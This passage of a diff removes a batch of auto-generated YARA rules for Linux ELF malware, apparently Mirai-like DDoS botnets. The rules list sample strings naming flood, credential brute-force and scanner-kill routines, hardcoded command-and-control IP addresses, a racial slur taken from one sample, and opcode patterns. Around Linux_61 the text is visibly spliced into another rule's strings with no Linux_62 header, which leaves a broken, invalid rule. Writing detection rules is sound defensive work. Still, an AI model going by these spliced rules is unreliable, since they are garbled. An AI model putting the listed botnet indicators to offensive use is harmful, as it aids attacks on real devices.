- $s17 = "add_strings" fullword ascii
- $s18 = "] Arch: [" fullword ascii
- $s19 = "ascii_killme" fullword ascii
- $s20 = "recv_strip_null" fullword ascii
-
- $op0 = { 86 2f 96 2f a6 2f 63 6a b6 2f 73 6b c6 2f 53 6c }
- $op1 = { c8 94 40 00 09 00 09 00 e6 2f 12 d1 22 4f 18 21 }
- $op2 = { c8 94 40 00 48 98 41 00 dc 94 41 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_48 {
- meta:
- description = "Linux_48"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "4ab520a0fe086092930b24b9194d0d9af29d24b155613c04fa82db2607cf7b05"
- strings:
- $s1 = "__stdio_mutex_initializer.4636" fullword ascii
- $s2 = "/home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm" fullword ascii
- $s3 = "/home/landley/work/ab7/build/temp-armv6l/build-gcc/gcc" fullword ascii
- $s4 = "/home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm" fullword ascii
- $s5 = "udpplain_flood" fullword ascii
- $s6 = "get_random_ip" fullword ascii
- $s7 = "read_elf" fullword ascii
- $s8 = "report_working" fullword ascii
- $s9 = "consume_pass_prompt" fullword ascii
- $s10 = "random_auth_entry" fullword ascii
- $s11 = "consume_user_prompt" fullword ascii
- $s12 = "completed.4959" fullword ascii
- $s13 = "tcp_flood" fullword ascii
- $s14 = "84.54.51.37" fullword ascii
- $s15 = "udp_flood" fullword ascii
- $s16 = "addpid" fullword ascii
- $s17 = "scanner_kill" fullword ascii
- $s18 = "machine_to_str" fullword ascii
- $s19 = "ascii_X86" fullword ascii
- $s20 = "add_strings" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- $op1 = { f0 45 2d e9 34 30 92 e5 98 50 9f e5 01 a0 73 e2 }
- $op2 = { d0 01 00 34 d4 01 00 0c d0 01 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_49 {
- meta:
- description = "Linux_49"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "62e20f728643713a03eed83e7b435a68952218c4a14bfd16d0cd5d4ef3952956"
- strings:
- $s1 = "udpplain_flood" fullword ascii
- $s2 = "get_random_ip" fullword ascii
- $s3 = "read_elf" fullword ascii
- $s4 = "report_working" fullword ascii
- $s5 = "consume_pass_prompt" fullword ascii
- $s6 = "random_auth_entry" fullword ascii
- $s7 = "consume_user_prompt" fullword ascii
- $s8 = "completed.3069" fullword ascii
- $s9 = "tcp_flood" fullword ascii
- $s10 = "84.54.51.37" fullword ascii
- $s11 = "udp_flood" fullword ascii
- $s12 = "addpid" fullword ascii
- $s13 = "scanner_kill" fullword ascii
- $s14 = " /lib/" fullword ascii
- $s15 = "machine_to_str" fullword ascii
- $s16 = "ascii_X86" fullword ascii
- $s17 = "add_strings" fullword ascii
- $s18 = "] Arch: [" fullword ascii
- $s19 = "ascii_killme" fullword ascii
- $s20 = "recv_strip_null" fullword ascii
-
- $op0 = { 90 1f 00 10 48 00 00 34 81 3f 00 08 a0 09 00 00 }
- $op1 = { 90 1f 00 0c 80 1f 00 34 90 1f 00 08 48 00 00 38 }
- $op2 = { 90 09 00 0c 80 1f 00 74 54 09 28 34 55 20 18 38 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_50 {
- meta:
- description = "Linux_50"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "69bbcb2d4057e29b4a171ffd3efc33cf47514424e395b25d6089d018f2e655e4"
- strings:
- $s1 = "udpplain_flood" fullword ascii
- $s2 = "get_random_ip" fullword ascii
- $s3 = "read_elf" fullword ascii
- $s4 = "report_working" fullword ascii
- $s5 = "consume_pass_prompt" fullword ascii
- $s6 = "random_auth_entry" fullword ascii
- $s7 = "consume_user_prompt" fullword ascii
- $s8 = "completed.2296" fullword ascii
- $s9 = "tcp_flood" fullword ascii
- $s10 = "84.54.51.37" fullword ascii
- $s11 = "udp_flood" fullword ascii
- $s12 = "addpid" fullword ascii
- $s13 = "scanner_kill" fullword ascii
- $s14 = "machine_to_str" fullword ascii
- $s15 = "ascii_X86" fullword ascii
- $s16 = "add_strings" fullword ascii
- $s17 = "] Arch: [" fullword ascii
- $s18 = "ascii_killme" fullword ascii
- $s19 = "recv_strip_null" fullword ascii
- $s20 = "ascii_Corona" fullword ascii
-
- $op0 = { 24 59 15 34 03 20 f8 09 }
- $op1 = { af c2 00 34 8f c2 00 34 }
- $op2 = { a4 43 00 0a 8f c3 00 34 27 c2 00 58 af a2 00 10 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_51 {
- meta:
- description = "Linux_51"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7e2f228acb6a0f3fb559a30bba1e3771505817251f3e57b2d9ce0ddf7b9956dd"
- strings:
- $s1 = "udpplain_flood" fullword ascii
- $s2 = "get_random_ip" fullword ascii
- $s3 = "read_elf" fullword ascii
- $s4 = "report_working" fullword ascii
- $s5 = "consume_pass_prompt" fullword ascii
- $s6 = "random_auth_entry" fullword ascii
- $s7 = "consume_user_prompt" fullword ascii
- $s8 = "completed.2248" fullword ascii
- $s9 = "tcp_flood" fullword ascii
- $s10 = "84.54.51.37" fullword ascii
- $s11 = "udp_flood" fullword ascii
- $s12 = "addpid" fullword ascii
- $s13 = "scanner_kill" fullword ascii
- $s14 = "machine_to_str" fullword ascii
- $s15 = "ascii_X86" fullword ascii
- $s16 = "add_strings" fullword ascii
- $s17 = "] Arch: [" fullword ascii
- $s18 = "ascii_killme" fullword ascii
- $s19 = "recv_strip_null" fullword ascii
- $s20 = "ascii_Corona" fullword ascii
-
- $op0 = { c0 27 bf ec 10 80 00 34 01 }
- $op1 = { 9d e3 bf 78 40 00 18 34 01 }
- $op2 = { 9d e3 bf 98 82 10 20 93 90 10 00 18 92 10 00 19 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_52 {
- meta:
- description = "Linux_52"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "bccf92f5eaf9adf3fb20779682ab20c816ffbce7133c95a623a95c3f0f5c40f0"
- strings:
- $s1 = "udpplain_flood" fullword ascii
- $s2 = "get_random_ip" fullword ascii
- $s3 = "__get_pc_thunk_bx" fullword ascii
- $s4 = "read_elf" fullword ascii
- $s5 = "report_working" fullword ascii
- $s6 = "consume_pass_prompt" fullword ascii
- $s7 = "random_auth_entry" fullword ascii
- $s8 = "consume_user_prompt" fullword ascii
- $s9 = "completed.2429" fullword ascii
- $s10 = "tcp_flood" fullword ascii
- $s11 = "84.54.51.37" fullword ascii
- $s12 = "udp_flood" fullword ascii
- $s13 = "addpid" fullword ascii
- $s14 = "scanner_kill" fullword ascii
- $s15 = "machine_to_str" fullword ascii
- $s16 = "ascii_X86" fullword ascii
- $s17 = "add_strings" fullword ascii
- $s18 = "] Arch: [" fullword ascii
- $s19 = "ascii_killme" fullword ascii
- $s20 = "recv_strip_null" fullword ascii
-
- $op0 = { 8d 85 d7 fc ff ff b9 ff ff ff ff 89 85 b4 fc ff }
- $op1 = { 8b 45 14 3b 45 0c 7e 09 c7 45 ec ff ff ff ff eb }
- $op2 = { eb 02 31 ed 43 89 cf f7 c6 ef ff ff ff 75 24 83 }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_53 {
- meta:
- description = "Linux_53"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "e73bbef9c7fcaf610c858be52a375b517bc62fd7e05dd867f928cd353536de16"
- strings:
- $s1 = "nprocessors_conf" fullword ascii
- $s2 = "__stdio_mutex_initializer.4484" fullword ascii
- $s3 = "addrconfig" fullword ascii
- $s4 = "hoste.5402" fullword ascii
- $s5 = "bb_get_chunk_with_continuation" fullword ascii
- $s6 = "completed.4531" fullword ascii
- $s7 = "__syscall_getdents64" fullword ascii
- $s8 = "_wordcopy_fwd_dest_aligned" fullword ascii
- $s9 = "_wordcopy_bwd_dest_aligned" fullword ascii
- $s10 = "have_current_got" fullword ascii
- $s11 = "_wordcopy_fwd_aligned" fullword ascii
- $s12 = "_wordcopy_bwd_aligned" fullword ascii
- $s13 = "__check_suid" fullword ascii
- $s14 = "inet_pton6" fullword ascii
- $s15 = "inet_ntop6" fullword ascii
- $s16 = "_is_equal_or_bigger_arg" fullword ascii
- $s17 = "?/proc/stat" fullword ascii
- $s18 = "unknown.1327" fullword ascii
- $s19 = "spec_base.4706" fullword ascii
- $s20 = "resolv_conf_mtime.5444" fullword ascii
-
- $op0 = { ff ff bc 62 00 00 ca 70 34 d0 ae ff b8 b0 ae ff }
- $op1 = { ff ff bc 63 00 01 6e 72 34 d2 ae ff b8 20 2e ff }
- $op2 = { ff 22 2e 00 14 52 81 2f 00 2f 01 61 ff ff ff 89 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_54 {
- meta:
- description = "Linux_54"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "f22d7a0f934380778ed19c3b80f0e7fd8429a14a859ceaeb79edee9a1f242b01"
- strings:
- $s1 = "Unable To Connect to Target: %s:%d " fullword ascii
- $s2 = "Connected To Target: %s:%d " fullword ascii
- $s3 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2" fullword ascii
- $s4 = "Sending requests to: %s:%d " fullword ascii
- $s5 = "Device Connected [Name:%s] [Arch:%s] [UID:%d]" fullword ascii
- $s6 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" fullword ascii
- $s7 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" fullword ascii
- $s8 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5" fullword ascii
- $s9 = "139.59.88.74" fullword ascii
- $s10 = "?/proc/stat" fullword ascii
- $s11 = "2surf2vhoi2h{h" fullword ascii
- $s12 = "arch %s" fullword ascii
- $s13 = "\\N^NuNV" fullword ascii
- $s14 = "\\N^Nu/" fullword ascii
- $s15 = "B@HAH@(" fullword ascii
- $s16 = "xN^NuNV" fullword ascii
- $s17 = "p[N@-@" fullword ascii
- $s18 = " @N^NuNV" fullword ascii
- $s19 = "pZN@-@" fullword ascii
- $s20 = "PN^NuNV" fullword ascii
-
- $op0 = { ff ff bc 62 00 00 ca 70 34 d0 ae ff b8 b0 ae ff }
- $op1 = { ff ff bc 63 00 01 6e 72 34 d2 ae ff b8 20 2e ff }
- $op2 = { ff 52 ae 00 08 2f 00 2f 2e 00 0c 61 ff ff ff fc }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_55 {
- meta:
- description = "Linux_55"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1460c7e4d65af956ed85beffd667dfeffa92979f29767c3cb44ff6c8d39dd193"
- strings:
- $s1 = "wlancont" fullword ascii
- $s2 = "ff4cfg" fullword ascii
-
- $op0 = { 8f bf 00 34 8f b6 00 30 8f b5 00 2c 8f b4 00 28 }
- $op1 = { 3c 03 10 62 34 63 4d d3 00 43 00 18 00 02 1f c3 }
- $op2 = { a2 02 00 08 8f a3 00 34 12 60 00 03 a6 03 00 04 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_56 {
- meta:
- description = "Linux_56"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "197662eeaa9a2163f31dabe0007150336ff57795e5dc4134574b55f386e21339"
- strings:
- $s1 = "wlancont" fullword ascii
-
- $op0 = { f4 ff ff ff f4 ff ff ff a4 25 00 00 f4 ff ff ff }
- $op1 = { 20 02 00 04 e0 2d e5 40 30 9f e5 00 00 53 e3 04 }
- $op2 = { 20 02 00 44 25 02 00 0c 20 02 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_57 {
- meta:
- description = "Linux_57"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "20a934c2448d90a74770e2f18944db2169d2d4596ec1637dff2e1c282e3d0d2d"
- strings:
- $s1 = "wlancont" fullword ascii
- $s2 = " F>0 F" fullword ascii
- $s3 = " 0F$!`@" fullword ascii
- $s4 = "$`@B$8" fullword ascii
- $s5 = "$p@D$0" fullword ascii
- $s6 = " F2 F" fullword ascii
-
- $op0 = { 06 00 1c 3c 34 c3 9c 27 21 e0 99 03 c8 ff bd 27 }
- $op1 = { 01 00 42 a2 34 00 a3 8f 30 00 a4 8f 48 00 a9 8f }
- $op2 = { 08 42 34 0c 00 82 ae 09 f8 20 03 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_58 {
- meta:
- description = "Linux_58"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "45703fc7e2e662743d4d0d6f388d74bd7dbb1857128c2948a954d0448bcb2bef"
- strings:
- $s1 = "wlancont" fullword ascii
- $s2 = "\\})@P/" fullword ascii
- $s3 = "T8`J8H" fullword ascii
- $s4 = "}#XP9)" fullword ascii
- $s5 = " UTc@." fullword ascii
- $s6 = "}#Kx8!" fullword ascii
- $s7 = "}+ZxU)" fullword ascii
- $s8 = "})PP9I" fullword ascii
- $s9 = "})0P})Z" fullword ascii
- $s10 = "}#Kx|j" fullword ascii
- $s11 = "}@PPq`" fullword ascii
- $s12 = "}KSx;@" fullword ascii
- $s13 = "} HP|i" fullword ascii
- $s14 = "}eXP= " fullword ascii
- $s15 = "U+P*U " fullword ascii
- $s16 = "P})XP=`" fullword ascii
- $s17 = "P}iZ.9*" fullword ascii
- $s18 = "a)I7}#H" fullword ascii
- $s19 = "} 899+" fullword ascii
- $s20 = ">}*Kx9 " fullword ascii
-
- $op0 = { 92 a1 07 34 90 01 00 0c 3e a0 10 02 93 e1 07 5c }
- $op1 = { 94 21 ff f0 7c 08 02 a6 93 c1 00 08 3f c0 10 02 }
- $op2 = { 39 29 2c 44 80 7b fc 04 91 3c 00 00 54 84 10 3a }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_59 {
- meta:
- description = "Linux_59"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "465a502c15686d391047073011660c44db90d9944d341419dc47112bdb8b347f"
- strings:
- $s1 = "wlancont" fullword ascii
-
- $op0 = { ea 00 50 e0 e3 05 00 a0 e1 70 80 bd e8 10 40 2d }
- $op1 = { 70 40 2d e9 00 40 51 e2 46 df 4d e2 00 60 a0 e1 }
- $op2 = { ea 03 00 9d e8 08 d0 8d e2 70 80 bd e8 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_60 {
- meta:
- description = "Linux_60"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "916c7d69455e63554f6cd468114e72247904d45c48348975d60a301c36d890f8"
- strings:
- $s1 = "wlancont" fullword ascii
-
- $op0 = { 0a 00 81 83 ed 34 30 97 e5 01 30 83 e2 34 30 87 }
- $op1 = { 5c e3 08 e0 8d e2 18 60 8e d2 03 00 00 da 24 c0 }
- $op2 = { ea 00 50 e0 e3 05 00 a0 e1 70 80 bd e8 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_61 {
- meta:
- description = "Linux_61"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "aec65eb21ef7a244afc4109a8882c6fb0ba738d8348a8d6d4950040584d4a61a"
- strings:
- $s1 = "wlancont" fullword ascii
- $s2 = "LSpb0a,b" fullword ascii
- $s3 = "B.fra<1" fullword ascii
- $s4 = "pbLS0a,b" fullword ascii
- $s5 = "wLVpaCc%" fullword ascii
- $s6 = "\\1|1,2" fullword ascii
- $s7 = "j\"drc7" fullword ascii
- $s8 = "Sb}B:!Z\"" fullword ascii
- $s9 = "B#a=A,1" fullword ascii
- $s10 = "/Sn\"O}" fullword ascii
- $s11 = "2ar#sc" fullword ascii
- $s12 = "/sn\"O7" fullword ascii
- $s13 = "B3g9!)G,b" fullword ascii
- $s14 = "C:'#cz\"" fullword ascii
- $s15 = "20c,2NV-" fullword ascii
- $s16 = "-sQllH" fullword ascii
- $s17 = "bJ\" !ra<1" fullword ascii
- $s18 = "B#a=A(1mA(1" fullword ascii
- $s19 = " " fullword ascii
- $s3 = "Nigger Bruted -> %s [ %s:%s ]" fullword ascii
- $s4 = "__get_pc_thunk_bx" fullword ascii
- $s5 = "completed.2429" fullword ascii
- $s6 = "94.156.64.143:9821" fullword ascii
- $s7 = "libc/sysdeps/linux/i386/crtn.S" fullword ascii
- $s8 = "__restore" fullword ascii
- $s9 = "libc/sysdeps/linux/i386/crt1.S" fullword ascii
- $s10 = "object.2482" fullword ascii
- $s11 = "libc/sysdeps/linux/i386/crti.S" fullword ascii
- $s12 = "libc/sysdeps/linux/i386/mmap.S" fullword ascii
- $s13 = "[0;97m| Device: " fullword ascii
- $s14 = "[0;97m | Endian " fullword ascii
- $s15 = "gayass.c" fullword ascii
- $s16 = "ay2fzc1txz22mldwtj4ipcevw5q8zq6" fullword ascii
- $s17 = "[0;91mNigger " fullword ascii
- $s18 = "VWSPh0p" fullword ascii
- $s19 = "prefix.4202" fullword ascii
- $s20 = "unknown.1161" fullword ascii
-
- $op0 = { 89 7c 24 64 39 d3 7c 34 89 d8 89 54 24 60 29 d0 }
- $op1 = { c7 44 24 1c fe ff ff ff 66 c7 44 24 18 d0 00 c6 }
- $op2 = { eb 02 31 ed 43 89 cf f7 c6 ef ff ff ff 75 24 83 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_63 {
- meta:
- description = "Linux_63"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "0302a084d7d3f03d60c1827b965279ca72fa1d294326c25842ec8dd4fe733bb2"
- strings:
- $s1 = "__stdio_mutex_initializer.3991" fullword ascii
- $s2 = "__get_pc_thunk_bx" fullword ascii
- $s3 = "completed.2429" fullword ascii
- $s4 = "libc/sysdeps/linux/i386/crtn.S" fullword ascii
- $s5 = "__restore" fullword ascii
- $s6 = "libc/sysdeps/linux/i386/crt1.S" fullword ascii
- $s7 = "object.2482" fullword ascii
- $s8 = "libc/sysdeps/linux/i386/crti.S" fullword ascii
- $s9 = "libc/sysdeps/linux/i386/mmap.S" fullword ascii
- $s10 = "prefix.4202" fullword ascii
- $s11 = "unknown.1161" fullword ascii
- $s12 = "qual_chars.4208" fullword ascii
- $s13 = "spec_and_mask.4207" fullword ascii
- $s14 = "xdigits.3116" fullword ascii
- $s15 = "spec_ranges.4205" fullword ascii
- $s16 = "xAPPSh@" fullword ascii
- $s17 = "libc/sysdeps/linux/i386/vfork.S" fullword ascii
- $s18 = "spec_chars.4204" fullword ascii
- $s19 = "E4tmPh8" fullword ascii
- $s20 = "spec_flags.4203" fullword ascii
-
- $op0 = { 89 7c 24 64 39 d3 7c 34 89 d8 89 54 24 60 29 d0 }
- $op1 = { c7 44 24 1c fe ff ff ff 66 c7 44 24 18 d0 00 c6 }
- $op2 = { eb 02 31 ed 43 89 cf f7 c6 ef ff ff ff 75 24 83 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_64 {
- meta:
- description = "Linux_64"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "26265c88f305ed004f769964b7ec9d03ef3bbf400751e6c479a3dcfacb08df16"
- strings:
- $s1 = "__stdio_mutex_initializer.3991" fullword ascii
- $s2 = "__get_pc_thunk_bx" fullword ascii
- $s3 = "completed.2429" fullword ascii
- $s4 = "libc/sysdeps/linux/i386/crtn.S" fullword ascii
- $s5 = "__restore" fullword ascii
- $s6 = "libc/sysdeps/linux/i386/crt1.S" fullword ascii
- $s7 = "object.2482" fullword ascii
- $s8 = "libc/sysdeps/linux/i386/crti.S" fullword ascii
- $s9 = "libc/sysdeps/linux/i386/mmap.S" fullword ascii
- $s10 = "E4tmPh" fullword ascii
- $s11 = "prefix.4202" fullword ascii
- $s12 = "unknown.1161" fullword ascii
- $s13 = "qual_chars.4208" fullword ascii
- $s14 = "spec_and_mask.4207" fullword ascii
- $s15 = "xdigits.3116" fullword ascii
- $s16 = "spec_ranges.4205" fullword ascii
- $s17 = "libc/sysdeps/linux/i386/vfork.S" fullword ascii
- $s18 = "spec_chars.4204" fullword ascii
- $s19 = "spec_flags.4203" fullword ascii
- $s20 = "next_start.1109" fullword ascii
-
- $op0 = { 89 7c 24 64 39 d3 7c 34 89 d8 89 54 24 60 29 d0 }
- $op1 = { c7 44 24 1c fe ff ff ff 66 c7 44 24 18 d0 00 c6 }
- $op2 = { eb 02 31 ed 43 89 cf f7 c6 ef ff ff ff 75 24 83 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_65 {
- meta:
- description = "Linux_65"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "5afaee1ec920bf1c508bdcf9e4429cc5d157d4ae1052f83f0334a10374b95994"
- strings:
- $s1 = "__stdio_mutex_initializer.4160" fullword ascii
- $s2 = "__get_pc_thunk_bx" fullword ascii
- $s3 = "completed.2429" fullword ascii
- $s4 = "libc/sysdeps/linux/i386/crtn.S" fullword ascii
- $s5 = "__restore" fullword ascii
- $s6 = "been_there_done_that.3001" fullword ascii
- $s7 = "libc/sysdeps/linux/i386/crt1.S" fullword ascii
- $s8 = "object.2482" fullword ascii
- $s9 = "libc/sysdeps/linux/i386/crti.S" fullword ascii
- $s10 = "libc/sysdeps/linux/i386/mmap.S" fullword ascii
- $s11 = "xAPPSh@" fullword ascii
- $s12 = "libc/sysdeps/linux/i386/vfork.S" fullword ascii
- $s13 = "E4tmPh8" fullword ascii
- $s14 = "ipState.5283" fullword ascii
- $s15 = "qual_chars.4377" fullword ascii
- $s16 = "spec_or_mask.4375" fullword ascii
- $s17 = "spec_flags.4372" fullword ascii
- $s18 = "xdigits.3285" fullword ascii
- $s19 = "unknown.1330" fullword ascii
- $s20 = "spec_ranges.4374" fullword ascii
-
- $op0 = { 29 d0 8d 3c 03 8d 34 33 89 74 24 28 89 f2 8b 74 }
- $op1 = { 8d 6c 24 18 c7 44 24 1c fe ff ff ff 66 c7 44 24 }
- $op2 = { 89 7c 24 64 7c 34 89 d8 29 d0 85 c0 89 54 24 60 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_66 {
- meta:
- description = "Linux_66"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "8024226804547c1acf8da768253fda56dc3204807e35d8fb1f5d67c957d0afbc"
- strings:
- $s1 = "__stdio_mutex_initializer.4160" fullword ascii
- $s2 = "__get_pc_thunk_bx" fullword ascii
- $s3 = "completed.2429" fullword ascii
- $s4 = "libc/sysdeps/linux/i386/crtn.S" fullword ascii
- $s5 = "__restore" fullword ascii
- $s6 = "been_there_done_that.3001" fullword ascii
- $s7 = "libc/sysdeps/linux/i386/crt1.S" fullword ascii
- $s8 = "object.2482" fullword ascii
- $s9 = "libc/sysdeps/linux/i386/crti.S" fullword ascii
- $s10 = "libc/sysdeps/linux/i386/mmap.S" fullword ascii
- $s11 = "E4tmPh" fullword ascii
- $s12 = "libc/sysdeps/linux/i386/vfork.S" fullword ascii
- $s13 = "qual_chars.4377" fullword ascii
- $s14 = "spec_or_mask.4375" fullword ascii
- $s15 = "spec_flags.4372" fullword ascii
- $s16 = "xdigits.3285" fullword ascii
- $s17 = "unknown.1330" fullword ascii
- $s18 = "spec_ranges.4374" fullword ascii
- $s19 = "spec_chars.4373" fullword ascii
- $s20 = "prefix.4371" fullword ascii
-
- $op0 = { 29 d0 8d 3c 03 8d 34 33 89 74 24 28 89 f2 8b 74 }
- $op1 = { 8d 6c 24 18 c7 44 24 1c fe ff ff ff 66 c7 44 24 }
- $op2 = { 89 7c 24 64 7c 34 89 d8 29 d0 85 c0 89 54 24 60 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_67 {
- meta:
- description = "Linux_67"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "78a790cdadf09d2445bd7af612275f517826366b9c915a8190f9621f5726993e"
- strings:
- $s1 = "E4tmPh" fullword ascii
- $s2 = "\\$XC;\\$" fullword ascii
- $s3 = "xAPPSh" fullword ascii
- $s4 = "PTRh1C" fullword ascii
- $s5 = "D$H9|$Hu" fullword ascii
- $s6 = "